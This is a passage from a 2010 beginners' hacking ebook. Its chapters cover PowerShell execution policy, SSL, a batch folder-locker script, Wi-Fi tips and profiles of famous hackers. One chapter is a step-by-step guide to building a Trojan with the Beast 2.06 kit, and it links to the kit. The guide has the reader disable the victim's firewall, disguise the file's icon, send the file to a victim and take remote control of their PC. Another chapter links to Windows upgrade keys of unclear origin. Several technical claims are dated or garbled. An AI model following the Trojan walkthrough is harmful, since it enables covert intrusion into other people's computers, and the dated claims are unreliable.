  4719. Figure 1: Scripts must include the path to the script to run successfully
  4720. Now, look at what happens when you run the script including the path to the script, as shown in Figure 2.
  4721. Figure 2: When the path is included with the script, the script runs without a hitch
  4722. Why am I Restricted?
  4723. Another default setting that is directly related to security is the fact that all scripts must be run interactively. This is a
  4724. security measure that ensures that PowerShell scripts cannot be executed from a script based virus. This means that you
  4725. must be at the PowerShell interface and run the script in real time for it to function.
  4726. This default setting is associated with the Execution Policy setting within PowerShell. The Execution Policy by default is set
  4727. to Restricted, as shown in Figure 3.
  4728. Figure 3: The Execution Policy by default is set to Restricted to secure the execution of remote PowerShell scripts
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  4732. Going Beyond the Defaults:
  4733. The default Execution Policy in PowerShell is very secure. It does not allow for any scripts to be run, from anywhere. So,
  4734. scripts that you create and put on a system won’t run. Scripts that you download from the Internet won’t run. Scripts that
  4735. you even sign and secure to the nth degree won’t run. Therefore, you will need to reset the level of Execution Policy
  4736. before you can run your scripts.
  4737. Setting the Execution Policy Level
  4738. There are four levels of the Execution Policy. These four levels provide you with great security over what scripts can run
  4739. and what requirements need to be associated with the script to run. The four levels and the requirements include:
  4740. Restricted
  4741. This is the default configuration in PowerShell. This setting means that no script can run, regardless of its signature. The
  4742. only things that can be run in PowerShell with this setting are individual commands.
  4743. All Signed
  4744. This setting does allow scripts to run in PowerShell. The script must have an associated digital signature from a trusted
  4745. publisher. There will be a prompt before you run the scripts from trusted publishers. This exposes you to running signed,
  4746. but malicious, scripts.
  4747. Remote Signed
  4748. This setting allows scripts to be run, but requires that the script and configuration files that are downloaded from the
  4749. Internet have an associated digital signature from a trusted publisher. Scripts run from local computer don’t need to be
  4750. signed. There are no prompts before running the script. Still exposes you to scripts that are signed, yet malicious.
  4751. Unrestricted
  4752. This is not a suggested setting! This allows unsigned scripts to run, including all scripts and configuration files downloaded
  4753. from the Internet. This will include files from Outlook and Messenger. The risk here is running scripts without any
  4754. signature or security.
  4755. To set anyone of these levels, just type set-execution policy <level>, as shown in Figure 4.
  4756. Figure 4: Setting the Execution Policy is as easy as running the set-execution policy command.
  4757. Using Group Policy
  4758. PowerShell is great, but if scripts can’t run on computers in your environment, it does have limitations. First, you must get
  4759. PowerShell on each computer. Since PowerShell is installed via an EXE, it is very easy to install the application. You can
  4760. either use a ZAP file or push it out using Group Policy, or you can use your current centralized method of installing
  4761. applications. Keep in mind that PowerShell is considered a hot fix, so Windows Update can also push out the installation
  4762. of PowerShell.
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  4766. After you get PowerShell installed, we just investigated that you need to enable scripts to run. With the Execution Policy
  4767. set at Restricted as a default, you need to configure every computer to run scripts, that will run scripts. This could take
  4768. days if you are trying to do this manually.
  4769. However, you can also use Group Policy to get this done for you. Of course, you could create your own Administrative
  4770. Template (ADM file) to make this change, or download the ADM template that Microsoft provides for you. I suggest you
  4771. do the latter by downloading the ADM template.
  4772. After downloading, you will need to install the MSI. I will admit, it is not the cleanest or most efficient install. After
  4773. installation, the ADM file is shoved under the C:\program files\Microsoft Group Policy folder. If nothing else, this is great
  4774. security! The file you need to import into the Group Policy Object Editor is Power Shell Extension Policy. ADM After
  4775. importing, you will have two new nodes in your Group Policy Object. One will be at Computer
  4776. Configuration\Administrative Templates\Windows Components\Windows PowerShell and the other at User
  4777. Configuration\Administrative Templates\Windows Components\Windows PowerShell, as shown in Figure 5.
  4778. Figure 5: PowerShell ADM template adds settings to Computer Configuration and User Configuration for script execution
  4779. When you go to configure this policy, you will see that you have three options for a setting, as shown in Figure 6.
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  4782. Page 215
  4783. Summary
  4784. PowerShell is the new kid on the block. With Windows Server 2008 coming out in early 2008, PowerShell will take off like
  4785. a rocket ship. With all of the attention that PowerShell is getting, everyone is hoping that it comes with security already
  4786. built-in. Well, the worry is over. PowerShell provides security directly out of the box, with default security features. The
  4787. fact that the scripts are set to have a restricted execution policy is fantastic. Even if you have created a .PS1 file, that script
  4788. being associated with Notepad is nice default security. Even if you can get to the PowerShell interface, the fact that the
  4789. path to the script must be typed in adds value. Beyond the defaults, being able to set the execution policy and control
  4790. PowerShell through Group Policy gives centralized control over PowerShell security.
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  4794. 43. What is Secure Sockets Layers (SSL)?
  4795. Secure Sockets Layer (SSL) is the most widely used technology for providing a secure communication between the web
  4796. client and the web server. Most of us are familiar with many sites such as Gmail, Yahoo etc. using https protocol in their
  4797. login pages. When we see this, we may wonder what’s the difference between http and https. In simple words HTTP
  4798. protocol is used for standard communication between the Web server and the client. HTTPS is used for a SECURE
  4799. communication.
  4800. What exactly is Secure Communication?
  4801. Suppose there exists two communication parties A (client) and B (server).
  4802. Working of HTTP
  4803. When A sends a message to B, the message is sent as a plain text in an unencrypted manner. This is acceptable in normal
  4804. situations where the messages exchanged are not confidential. But imagine a situation where A sends a PASSWORD to B.
  4805. In this case, the password is also sent as a plain text. This has a serious security problem because, if an intruder (hacker)
  4806. can gain unauthorized access to the ongoing communication between A and B, he can see the PASSWORDS since they
  4807. remain unencrypted. This scenario is illustrated using the following figure.
  4808. Now lets see the working of HTTPS
  4809. When A sends a PASSWORD (say "mypass") to B, the message is sent in an encrypted format. The encrypted message is
  4810. decrypted on B’s side. So even if the Hacker gains an unauthorized access to the ongoing communication
  4811. between A and B he gets only the encrypted password ("xz54p6kd") and not the original password. This is shown below.
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  4814. Page 217
  4815. How is HTTPS implemented?
  4816. HTTPS is implemented using Secure Sockets Layer (SSL). A website can implement HTTPS by purchasing an SSL Certificate.
  4817. Secure Sockets Layer (SSL) technology protects a Web site and makes it easy for the Web site visitors to trust it. It has the
  4818. following uses
  4819. 1. An SSL Certificate enables encryption of sensitive information during online transactions.
  4820. 2. Each SSL Certificate contains unique, authenticated information about the certificate owner.
  4821. 3. A Certificate Authority verifies the identity of the certificate owner when it is issued.
  4822. How Encryption Works?
  4823. Each SSL Certificate consists of a Public key and a Private Key. The public key is used to encrypt the information and the
  4824. private key is used to decrypt it. When your browser connects to a secure domain, the server sends a Public key to the
  4825. browser to perform the encryption. The public key is made available to every one but the private key (used for
  4826. decryption) is kept secret. So during a secure communication, the browser encrypts the message using the public key and
  4827. sends it to the server. The message is decrypted on the server side using the Private Key (Secret key).
  4828. How to identify a Secure Connection?
  4829. In Internet Explorer, you will see a lock icon in the Security Status bar. The Security Status bar is located on the right
  4830. side of the Address bar. You can click the lock to view the identity of the website.
  4831. In high-security browsers, the authenticated organization name is prominently displayed and the address bar
  4832. turns GREEN when an Extended Validation SSL Certificate is detected. If the information does not match or the certificate
  4833. has expired, the browser displays an error message or warning and the status bar may turn RED.
  4834. So the bottom line is, whenever you perform an on-line transaction such as Credit card payment, Bank login or Email
  4835. login always ensure that you have a secure communication. A secure communication is a must in these situations.
  4836. Otherwise there are chances of Phishing using a Fake login Page.
  4837. How secure is the encryption used by SSL?
  4838. It would take significantly longer than the age of the universe to crack a 128-bit key.
  4839. SSL uses public-key encryption to exchange a session key between the client and server; this session key is used to
  4840. encrypt the http transaction (both request and response). Each transaction uses a different session key so that even if
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  4844. someone did manage to decrypt a transaction, that would not mean that they would have found the server's secret key; if
  4845. they wanted to decrypt another transaction, they'd need to spend as much time and effort on the second transaction as
  4846. they did on the first. Of course, they would have first have to have figured out some method of intercepting the
  4847. transaction data in the first place, which is in itself extremely difficult. It would be significantly easier to tap your phone,
  4848. or to intercept your mail to acquire your credit card number than to somehow intercept and decode Internet Data.
  4849. Servers and browsers do encryption ranging from a 40-bit secret key to a 128-bit secret key, that is to say '2 to the 40th
  4850. power' or '2 to the 128th power'. Many people have heard that 40-bit is insecure and that you need 128-bit to keep your
  4851. credit card info safe. They feel that using a 40-bit key is insecure because it's vulnerable to a "brute force" attack
  4852. (basically trying each of the 2^40 possible keys until you find the one that decrypts the message). This was in fact
  4853. demonstrated when a French researcher used a network of fast workstations to crack a 40-bit encrypted message in a
  4854. little over a week. Of course, even this 'vulnerability' is not really applicable to applications like an online credit card
  4855. transaction, since the transaction is completed in a few moments. If a network of fast computers takes a week to crack a
  4856. 40-bit key, you'd be completed your transaction and long gone before the hacker even got started.
  4857. Of course, using a 128-bit key eliminates any problem at all because there are 2^128 instead of 2^40 possible keys. Using
  4858. the same method (a networked of fast workstations) to crack a message encrypted with such a key would take
  4859. significantly longer than the age of the universe using conventional technology. Remember that 128-bit is not just 'three
  4860. times' as powerful as 40-bit encryption. 2^128 is 'two times two, times two, times two...' with 128 two's. That is two,
  4861. doubled on itself 128 times. 2^40 is already a HUGE number, about a trillion (that's a million, million!). Therefore 2^128
  4862. is that number (a trillion), doubled over and over on itself another 88 times. Again, it would take significantly longer than
  4863. the age of the universe to crack a 128-bit key.
  4864. Key Size
  4865. Possible Key Combinations
  4866. 2-bit 2^2 2x2 = 4
  4867. 3-bit 2^3 2x2x2 = 8
  4868. 4-bit 2^4 2x2x2x2 = 16
  4869. 5-bit 2^5 2x2x2x2x2 = 32
  4870. 6-bit 2^6 2x2x2x2x2x2 = 64
  4871. 7-bit 2^7 2x2x2x2x2x2x2 = 128
  4872. 8-bit 2^8 2x2x2x2x2x2x2x2 = 256
  4873. 9-bit 2^9 2x2x2x2x2x2x2x2x2 = 512
  4874. 10-bit 2^10 2x2x2x2x2x2x2x2x2x2 = 1024
  4875. 11-bit 2^11 2x2x2x2x2x2x2x2x2x2... = 2048
  4876. 12-bit 2^12 2x2x2x2x2x2x2x2x2x2... = 4096
  4877. 16-bit 2^16 2x2x2x2x2x2x2x2x2x2... = 65536
  4878. 24-bit 2^24 2x2x2x2x2x2x2x2x2x2... = 16.7 million
  4879. 30-bit 2^30 2x2x2x2x2x2x2x2x2x2... = 1 billion (1,073,741,800)
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  4883. 40-bit 2^40 2x2x2x2x2x2x2x2x2x2... = 1 trillion (1,097,728,000,000)
  4884. 56-bit 2^56 2x2x2x2x2x2x2x2x2x2.... = 72 thousand quadrillion (71,892,000,000,000,000)
  4885. 128-bit 2^128
  4886. 2 multiplied by 2
  4887. 128 times over.
  4888. = 339,000,000,000,000,000,000,000,000,000,000,000
  4889. (give or take a couple trillion...)
  4890. Doing the math, you can see that using the same method that was used to break 40-bit encryption in a week, it would
  4891. take about 72 million weeks (about 1.4 million years) to even break '56-bit medium' encryption and significantly longer
  4892. than the age of the universe to crack a 128-bit key. Of course the argument is that computers will keep getting faster,
  4893. about doubling in power every 18 months. That is true, but even when computers are a million times faster than they are
  4894. now (about 20 years from now if they double in speed every year), it would then still take about 6 thousand, trillion years,
  4895. which is about a million times longer than the Earth has been around. Plus, simply upgrading to 129-bit encryption would
  4896. take twice as long, and 130-bit would take twice as long again. As you can see, it's far easier for the encryption to keep
  4897. well ahead of the technology in this case. Simply put, 128-bit encryption is totally secure.
  4898. How do I know if encryption is enabled or not?
  4899. Your Browser (Netscape or Internet Explorer) will tell you.
  4900. In Netscape versions 3.X and earlier you can tell what kind of encryption is in use for a particular document by looking at
  4901. the "document" information" screen accessible from the file menu. The little key in the lower left-hand corner of the
  4902. Netscape window also indicates this information. A solid key with three teeth means 128-bit encryption, a solid key with
  4903. two teeth means 40-bit encryption, and a broken key means no encryption. Even if your browser supports 128-bit
  4904. encryption, it may use 40-bit encryption when talking to other servers or to servers outside the U.S. and Canada. In
  4905. Netscape versions 4.X and higher, click on the "Security" button to determine whether the current page is encrypted, and,
  4906. if so, what level of encryption is in use.
  4907. In Microsoft Internet Explorer, a solid padlock will appear on the bottom right of the screen when encryption is in use. To
  4908. determine whether 40-bit or 128-bit encryption is in effect, open the document information page using File->Properties.
  4909. This will indicate whether "weak" or "strong" encryption is in use.
  4910. What about warnings or errors about the Secure Certificate?
  4911. Your personal Security settings will determine what warnings you see.
  4912. Depending on how your security settings are setup in your Browser, you may also see information about our Certificate
  4913. when you enter the secure directories. This information will usually include the Dates that the Certificate is valid for, the
  4914. site name that the Certificate has been issued to, and the Certificate Authority (or 'CA') that issued the Certificate. You
  4915. can also usually view the Certificate to see information about the various parties, including Inet2000 and our CA.
  4916. The most common warning is that you have not previously chosen to Trust the authority. This is a normal warning if you
  4917. haven't already purchased anything online from a Merchant who's certificate was issued by a Certificate Authority that
  4918. you haven't told your browser to trust from now on. Of course, you may well have no errors, warnings or information
  4919. screens at all - again, largely depending on the way you've got your security settings set in your Browser.
  4920. In any case, the encryption level and the security is the same whether you've got your settings low (don't warn me about
  4921. anything) or very high (warn and inform me about everything). Either way, your data is still encrypted and still secure.
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  4925. 44. Make a Private Folder with your password
  4926. Step 1:- Open the Notepad.exe
  4927. Step 2:- Copy the following code into the notepad.
  4928. Quote: cls
  4929. @ECHO OFF
  4930. title Folder Private
  4931. if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
  4933. :CONFIRM
  4934. echo -----------------------------------------------------------
  4935. echo ================== Www.hackingtech.co.tv ==================
  4936. echo -----------------------------------------------------------
  4937. echo Are you sure you want to lock the folder(Y/N)
  4938. echo Press (Y) for Yes and Press (N) for No.
  4939. echo -----------------------------------------------------------
  4940. set/p "cho=>"
  4941. if %cho%==Y goto LOCK
  4942. if %cho%==y goto LOCK
  4943. if %cho%==n goto END
  4944. if %cho%==N goto END
  4945. echo Invalid choice.
  4946. goto CONFIRM
  4947. :LOCK
  4948. ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
  4949. attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
  4950. echo Folder locked
  4951. goto End
  4952. :UNLOCK
  4953. echo -----------------------------------------------------------
  4954. echo ================== Www.hackingtech.co.tv ==================
  4955. echo -----------------------------------------------------------
  4956. echo Enter password to unlock folder
  4957. set/p "pass=>"
  4958. if NOT %pass%== YOUR PASSWORD goto FAIL
  4959. attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
  4960. ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private
  4961. echo Folder Unlocked successfully
  4962. goto End
  4963. :FAIL
  4964. echo Invalid password
  4965. Hacking For Beginners – Manthan Desai 2010
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  4967. Page 221
  4968. goto end
  4970. md Private
  4971. echo Private created successfully
  4972. goto End
  4973. :End
  4974. Step 3:- Now change the password in the if NOT %pass%==YOUR PASSWORDgoto FAIL line replace text of Your
  4975. Password with your password for the folder lock.
  4976. Step 4:- Now save this file as locker.bat and you are done.
  4977. Step 5:- Now Open the Locker.bat file and enter your password to open a private folder of yours.
  4978. Step 6:- Now copy paste the files which you want to hide and make it secure in the private folder.
  4979. Step 7:- Now again open the Locker.bat file and press 'Y' to lock the private folder with your password.
  4980. Step 8:- Now to again open the secured files open the locker.bat file Enter your password and your files are there for you.
  4981. “You can use Bat to exe converter and can convert it into .exe file to safeguard the code above.”
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  4984. Page 222
  4985. 45. Making a Trojan using Beast 2.06
  4986. Step 1:- Download the necessary software i.e. Beast 2.06
  4987. Step 2:- Unrar the pack.
  4988. Step 3:- Open the software you will get the screen as shown below.
  4989. Step 4:- Now click on “Build server “button.
  4990. “Download Beast 2.06 from here: http://www.hackingtech.co.tv/Trojans/Beast.rar”.
  4991. Hacking For Beginners – Manthan Desai 2010
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  4993. Page 223
  4994. Step 5:- Now in this window click on the notifications tab.
  4995. Step 6:- In the notifications tab click on the e-mail button.
  4996. Step 7:- Now In this window fill your proper and valid email id.
  4997. Step 8:- Now go to "AV-FW kill” tab.
  4998. Hacking For Beginners – Manthan Desai 2010
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  5000. Page 224
  5001. Step 9: - Now In this put a tick mark on the “disable XP firewall ".
  5002. Step 10:-Now click on "EXE icon” tab.
  5003. Step 11:- In this tab select any icon for the file from the list or you can browse the icon from the directory and can use it.
  5004. Hacking For Beginners – Manthan Desai 2010
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  5006. Page 225
  5007. Step 12:-Now click on the”Save Server” button and the Trojan will be made.
  5008. Step 13:-Now send this Trojan File to victim.
  5009. Step 14:- As and when the victim will install the Trojan on his system you will get a notification e-mail on your specified email
  5010. id while making the Trojan. This Email consists of the IP address and port of the victim.
  5011. Step 15:-Put This IP address and Port in the place shown in the below snap-shot.
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  5014. Page 226
  5015. Step 16:- After That Click on the "Go Beast” Button and You will be connected to victims PC.
  5016. Step 17:- Now select the action or task you want to execute on victims PC form the given list.
  5017. Step 18:- Now to destroy or kill the Trojan click on the “server “tab from the menu.
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  5020. Page 227
  5021. Step 19:-Now click on the “Kill Server “button and the Trojan will be destroyed from the victims PC.
  5022. Step 20:- You are Done Now.
  5023. “Do Not Harm or destroy any ones PC this tutorial is for educational Purpose.”
  5024. Read more:http://www.hackingtech.co.tv/index/making_of_trojan_using_beast_2_06/0-
  5025. 77#ixzz152xyeVCC
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  5028. Page 228
  5029. 46. Hacking yahoo messenger for multi login
  5030. We often chat on yahoo messenger. I don‘t think so that there is anyone who really doesn‘t know about yahoo
  5031. messenger, hope you are agree with this comment? But what most people don‘t know is that we can chat with multiple
  5032. accounts on yahoo messenger at same time. In other words we can chat with different Ids at same time.
  5033. So if you need to open and login multiple Yahoo! Messenger accounts as you have a few Yahoo! ID or various other
  5034. reason, just use the small registry registration file below that once click, will modify and merge the registry setting
  5035. required to run and execute multiple Yahoo! Messengers at the same time on a computer.
  5036. There are two Methods of doing this
  5037. 1. Automatic Method
  5038. You just need to Download the file and install it into registry
  5039. 2. Manual
  5040. Step1:- Open Registry Editor (regedit.exe) Click Start > Run and then type 'regedit' press enter.
  5041. Step2:- Then Look For- HKEY_CURRENT_ USER\Software\yahoo\ pager\Test.
  5042. Step3:- Then change this value of plural to like this- “plural”=dword: 00000001
  5043. “Download The File From here: http://www.hackingtech.co.tv/YahooMulti.rar ”.
  5044. “For beginners I will recommend the first method just download and install the script. People who
  5045. do know registry they can try to manually do this hack.”
  5046. Hacking For Beginners – Manthan Desai 2010
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  5048. Page 229
  5049. 47. 5 Tips to secure your Wi-Fi a connection
  5050. 1. Install a Firewall A firewall helps protect your PC by preventing unauthorized users from gaining access to your
  5051. computer through the Internet or a network. It acts as a barrier that checks any information coming from the Internet or
  5052. a network, and then either blocks the information or allows it to pass through to your computer.
  5053. 2. Change the Administrative Password on your Wireless Routers Each manufacturer ships their wireless routers with a
  5054. default password for easy initial access. These passwords are easy to find on vendor support sites, and should therefore
  5055. be changed immediately.
  5056. 3. Change the Default SSID Name and Turn off SSID Broadcasting This will require your wireless client computers to
  5057. manually enter the name of your SSID (Service Set Identifier) before they can connect to your network, greatly minimizing
  5058. the damage from the casual user whose laptop is configured to connect to any available SSID broadcast it finds. You
  5059. should also change the SSID name from the factory default, since these are just as well-known as the default passwords
  5060. 4. Disable DHCP for a SOHO network with only a few computers consider disabling DHCP (Dynamic Host Configuration
  5061. Protocol) on your router and assigning IP addresses to your client computers manually. On newer wireless routers, you
  5062. can even restrict access to the router to specific MAC addresses.
  5063. 5. Replace WEP with WPA WEP (Wired Equivalent Privacy) is a security protocol that was designed to provide a wireless
  5064. computer network with a level of security and privacy comparable to what is usually expected of a wired computer
  5065. network. WEP is a very weak form of security that uses common 60 or 108 bit key shared among all of the devices on the
  5066. network to encrypt the wireless data. Hackers can access tools freely available on the Internet that can crack a WEP key in
  5067. as little as 15 minutes. Once the WEP key is cracked, the network traffic instantly turns into clear text – making it easy for
  5068. the hacker to treat the network like any open network. WPA (Wi-Fi Protected Access) is a powerful, standards-based,
  5069. interoperable security technology for wireless computer networks. It provides strong data protection by using 128-bit
  5070. encryption keys and dynamic session keys to ensure a wireless computer network's privacy and security. Many
  5071. cryptographers are confident that WPA addresses all the known attacks on WEP. It also adds strong user authentication,
  5072. which was absent in WEP.
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  5075. Page 230
  5076. 48. Upgrade Windows 7 to any higher version
  5077. How to Upgrade Windows 7 to Any Higher Version for Free
  5078. You bought a new computer with a pre-installed Starter/Home Premium/Professional (Genuine) version of Windows 7
  5079. and want to upgrade to Professional or Ultimate for free in as few as 10 minutes .
  5080. Your pre-installed version of Windows 7 actually includes all files that are necessary to perform an in-place (local) upgrade
  5081. without downloading anything from the internet. One simply needs unlocking features included in higher versions.
  5082. You can upgrade Windows 7 from/to:
  5083. Here's what you need to do:
  5084. To upgrade from one edition of Windows 7 to another edition of Windows 7, use Windows Anytime Upgrade. On your PC,
  5085. open Windows Anytime Upgrade by clicking the Start button, typing Windows Anytime Upgrade in the search box, and
  5086. then clicking Windows Anytime Upgrade in the list of results. You will be presented with a screen offering 2 options, one
  5087. of them suggesting you have a valid Windows Anytime Upgrade key.
  5088. Once the key has been copied into the appropriate field, it will be verified by MS and the upgrade process will take place.
  5089. The whole process actually doesn't last longer than 10 minutes, your computer will reboot once or twice. Upon restart,
  5090. you will notice it now runs a genuine higher version of Windows 7.
  5091. * You can use Windows Anytime Upgrade to upgrade from a 32-bit version of Windows 7 to a 32-bit version of Windows 7
  5092. and from a 64-bit version of Windows 7 to a 64-bit version of Windows 7, but you can’t upgrade from a 32-bit version of
  5093. Windows 7 to a 64-bit version of Windows 7 or vice versa.
  5094. * Windows Anytime Upgrade isn’t available in all editions of Windows 7 - obviously not in Ultimate version.
  5095. “Download Windows Anytime Upgrade key from here: http://u.to/MSek
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  5098. Page 231
  5099. 49. World’s top 10 internet hackers of all time
  5100. What can hackers do to our PC? Are they really can break our security? The portrayal of hackers in the media has ranged
  5101. from the high-tech super-spy, as in Mission Impossible where Ethan Hunt repels from the ceiling to hack the CIA computer
  5102. system and steal the "NOC list,” to the lonely anti-social teen who is simply looking for entertainment.
  5103. Black Hat Hackers -
  5104. A black hat hacker, also known as a cracker or a dark side hacker (this last definition is a direct reference to the Star
  5105. Wars movies and the dark side of the force), is someone who uses his skills with a criminal intent. Some examples are:
  5106. cracking bank accounts in order to make transferences to their own accounts, stealing information to be sold in the black
  5107. market, or attacking the computer network of an organization for money.
  5108. 1) Jonathan James
  5109. James cracked into NASA computers, stealing software worth approximately $1.7 million. According to the Department of
  5110. Justice, "The software supported the International Space Station’s physical environment, including control of the
  5111. temperature and humidity within the living space.” NASA was forced to shut down its computer systems, ultimately
  5112. racking up a $41,000 cost. James explained that he downloaded the code to supplement his studies on C programming,
  5113. but contended,” The code itself was crappy . . . certainly not worth $1.7 million like they claimed.”
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  5116. Page 232
  5117. 2) Adrian Lamo
  5118. Adrian Lamo around computers as a very young child. He had a Commodore 64 when he was like 6 or so. And his first
  5119. interest in seeing how things worked behind the scenes wasn’t all about technology necessarily, and his interest in what
  5120. you might call hacking isn’t really primarily about technology…He said” It’s not sexy when I’m exploring less obvious
  5121. aspects of the world that don’t involve multibillion-dollar corporations. There’s a certain amount of tunnel vision there.”
  5122. Last year, Lamo earned the disapproval of his probation officer in the closing months of his two year probation term when
  5123. he refused to provide a blood sample for the FBI’s DNA database. The Combined DNA Index System, or CODIS, was
  5124. created to catalog violent criminals and sexual predators, but the 2004 Justice for All Act expanded the system to
  5125. include samples from all newly convicted federal felons, including drug offenders and white-collar criminals.
  5126. 3) Kevin Mitnick
  5127. Kevin David Mitnick (born August 6, 1963) is a computer security consultant and author. In the late 20th century, he was
  5128. convicted of various computer- and communications-related crimes. At the time of his arrest, he was world-famous as the
  5129. most-wanted computer criminal in the United States.Mitnick gained unauthorized access to his first computer network in
  5130. 1979, at 16, when a friend gave him the phone number for the Ark, the computer system Digital Equipment Corporation
  5131. (DEC) used for developing their RSTS/E operating system software. He broke into DEC’s computer network and copied
  5132. DEC’s software, a crime he was charged with and convicted of in 1988. He was sentenced to 12 months in prison followed
  5133. by three years of supervised release. Near the end of his supervised release, Mitnick hacked into Pacific Bell voice mail
  5134. computers.
  5135. After a warrant was issued for his arrest, Mitnick fled, becoming a fugitive for two and a half years. According to the U.S.
  5136. Department of Justice, Mitnick gained unauthorized access to dozens of computer networks while he was a fugitive. He
  5137. used cloned cellular phones to hide his location and, among other things, copied valuable proprietary software from some
  5138. of the country’s largest cellular telephone and computer companies. Mitnick also intercepted and stole computer
  5139. passwords, altered computer networks, and broke into and read private e-mail. Mitnick was apprehended in February
  5140. 1995 in North Carolina. He was found with cloned cellular phones, more than 100 clone cellular phone codes, and
  5141. multiple pieces of false identification.
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  5145. 4) Kevin Poulsen
  5146. Kevin Poulsen was among the most accomplished, multi-talented hackers. He worked for SRI International by day, and
  5147. hacked at night under the handle "Dark Dante”. He trained to be the complete hacker, and even taught himself lock
  5148. picking. Among other things, Poulsen reactivated old Yellow Page escort telephone numbers for an acquaintance that
  5149. then ran a virtual agency. When the FBI started pursuing Poulsen, he went underground as a fugitive. When he was
  5150. featured on NBC’s Unsolved Mysteries, the show’s 1-800 telephone lines mysteriously crashed. He was finally arrested in
  5151. February, 1995.
  5152. Poulsen’s best known hack was a takeover of all of the telephone lines for Los Angeles radio station KIIS-FM, guaranteeing
  5153. that he would be the 102nd caller, and winning a Porsche 944 S2. In June 1994, Poulsen pleaded guilty to seven counts of
  5154. mail, wire and computer fraud, money laundering, and obstruction of justice, and was sentenced to 51 months in prison
  5155. and ordered to pay $56,000 in restitution. It was the longest sentence ever given for hacking up to that time. He also later
  5156. pleaded guilty to breaking into computers and obtaining information on undercover businesses run by the FBI.
  5157. 5) Robert Tappan Morris
  5158. Morris, son of former National Security Agency scientist Robert Morris, is known as the creator of the Morris Worm, the
  5159. first computer worm to be unleashed on the Internet. As a result of this crime, he was the first person prosecuted under
  5160. the 1986 Computer Fraud and Abuse Act. Morris wrote the code for the worm while he was a student at Cornell. He
  5161. asserts that he intended to use it to see how large the Internet was. The worm, however, replicated itself excessively,
  5162. slowing computers down so that they were no longer usable. It is not possible to know exactly how many computers were
  5163. affected, but experts estimate an impact of 6,000 machines. He was sentenced to three years’ probation, 400 hours of
  5164. community service and a fined $10,500.
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  5167. Page 234
  5168. Now we have. .
  5169. White Hat Hackers –
  5170. White hat hackers, also known as ethical hackers, or white knights, are computer security experts, who specialize in
  5171. penetration testing, and other testing methodologies, to ensure that a company’s information systems are secure. Such
  5172. people are employed by companies where these professionals are sometimes called "sneakers.” Groups of these people
  5173. are often called tiger teams or red teams. These security experts may utilize a variety of methods to carry out their tests,
  5174. including social engineering tactics, use of hacking tools, and attempts to evade security to gain entry into secured areas.
  5175. 1) Stephen Wazniak
  5176. Stephen Wazniak, one of the founders of Apple Computer and a long-time hacker hero, recalled the days when a young
  5177. hacker could twiddle the phone system and make a free phone call to the pope without fear that a goofy prank would
  5178. turn into an international incident. Steve Wozniak got the first inspirations by its father Jerry, which worked as an
  5179. engineer at Lockheed, and by the fiktionalen miracle boy Tom Swift. Its father stuck on it with the fascination for
  5180. electronics and examined frequently the inventions of its son. Tom Swift was on the other hand for it the product of
  5181. creative liberty, scientific knowledge and the ability to find problem solutions. Tom Swift showed it also the large prices,
  5182. which expected him as inventors. Until today Wozniak returns to the world from Tom Swift and reads out the books to its
  5183. own children, in order to inspire it.
  5184. 2) Tim Berners-Lee
  5185. Berners-Lee is famed as the inventor of the World Wide Web, the system that we use to access sites, documents and files
  5186. on the Internet. He has received numerous recognitions, most notably the Millennium Technology Prize. While working
  5187. with CERN, a European nuclear research organization, Berners-Lee created a hypertext prototype system that helped
  5188. researchers share and update information easily. He later realized that hypertext could be joined with the Internet.
  5189. Berners-Lee recounts how he put them together: "I just had to take the hypertext idea and connect it to the TCP and DNS
  5190. ideas and "ta-da!” the World Wide Web.”
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  5193. Page 235
  5194. Since his creation of the World Wide Web, Berners-Lee founded the World Wide Web Consortium at MIT. The W3C
  5195. describes itself as "an international consortium where Member organizations, a full-time staff and the public work
  5196. together to develop Web standards.” Berners-Lee’s World Wide Web idea, as well as standards from the W3C, is
  5197. distributed freely with no patent or royalties due.
  5198. 3) Linus Torvalds
  5199. In 1991 Linus Torvalds was a college student at the University of Helsinki. Starting with the basics of a UNIX system, he
  5200. wrote the kernel — original code — for a new system for his x86 PC that was later dubbed Linux (pronounced linn-ucks).
  5201. Torvalds revealed the original source code for free — making him a folk hero among programmers — and users around
  5202. the world began making additions and now continue to tweak it. Linux is considered the leader in the practice of allowing
  5203. users to re-program their own operating systems. Currently, Torvalds serves as the Linux ringleader, coordinating the
  5204. code that volunteer programmers contribute to the kernel. He has had an asteroid named after him and received
  5205. honorary doctorates from Stockholm University and University of Helsinki. He was also featured in Time Magazine’s "60
  5206. Years of Heroes.”
  5207. 4) Richard Stallman
  5208. Richard Matthew Stallman (born March 16, 1953), often abbreviated "rms”,*1+ is an American software freedom activist,
  5209. and computer programmer. In September 1983, he launched the GNU Project to create a free Unix-like operating system,
  5210. and has been the project’s lead architect and organizer. With the launch of the GNU Project, he initiated the free software
  5211. movement and, in October 1985, set up the Free Software Foundation. Stallman’s life continues to revolve around the
  5212. promotion of free software. He works against movements like Digital Rights Management (or as he prefers, Digital
  5213. Restrictions Management) through organizations like Free Software Foundation and League for Programming Freedom.
  5214. He has received extensive recognition for his work, including awards, fellowships and four honorary doctorates.
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  5217. Page 236
  5218. 5) Tsutomu Shimomura
  5219. Shimomura reached fame in an unfortunate manner: he was hacked by Kevin Mitnick. Following this personal attack, he
  5220. made it his cause to help the FBI capture him. Shimomura’s work to catch Mitnick is commendable, but he is not without
  5221. his own dark side. Author Bruce Sterling recalls: "He pulls out this AT&T cellphone, pulls it out of the shrinkwrap, fingerhacks
  5222. it, and starts monitoring phone calls going up and down Capitol Hill while an FBI agent is standing at his shoulder,
  5223. listening to him.” Shimomura out-hacked Mitnick to bring him down. Shortly after finding out about the intrusion, he
  5224. rallied a team and got to work finding Mitnick. Using Mitnick’s cell phone, they tracked him near Raleigh-Durham
  5225. International Airport.
  5226. The article, "SDSC Computer Experts Help FBI Capture Computer Terrorist” recounts how Shimomura pinpointed Mitnick’s
  5227. location. Armed with a technician from the phone company, Shimomura "used a cellular frequency direction-finding
  5228. antenna hooked up to a laptop to narrow the search to an apartment complex.” Mitnick was arrested shortly thereafter.
  5229. Following the pursuit, Shimomura wrote a book about the incident with journalist John Markoff, which was later turned
  5230. into a movie.
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  5234. 50. The complete History of hacking
  5235. Maybe not the complete history but a valid attempt. A complete hacker history will
  5236. never be obtainable since so much of the history is fragmented, unfounded and
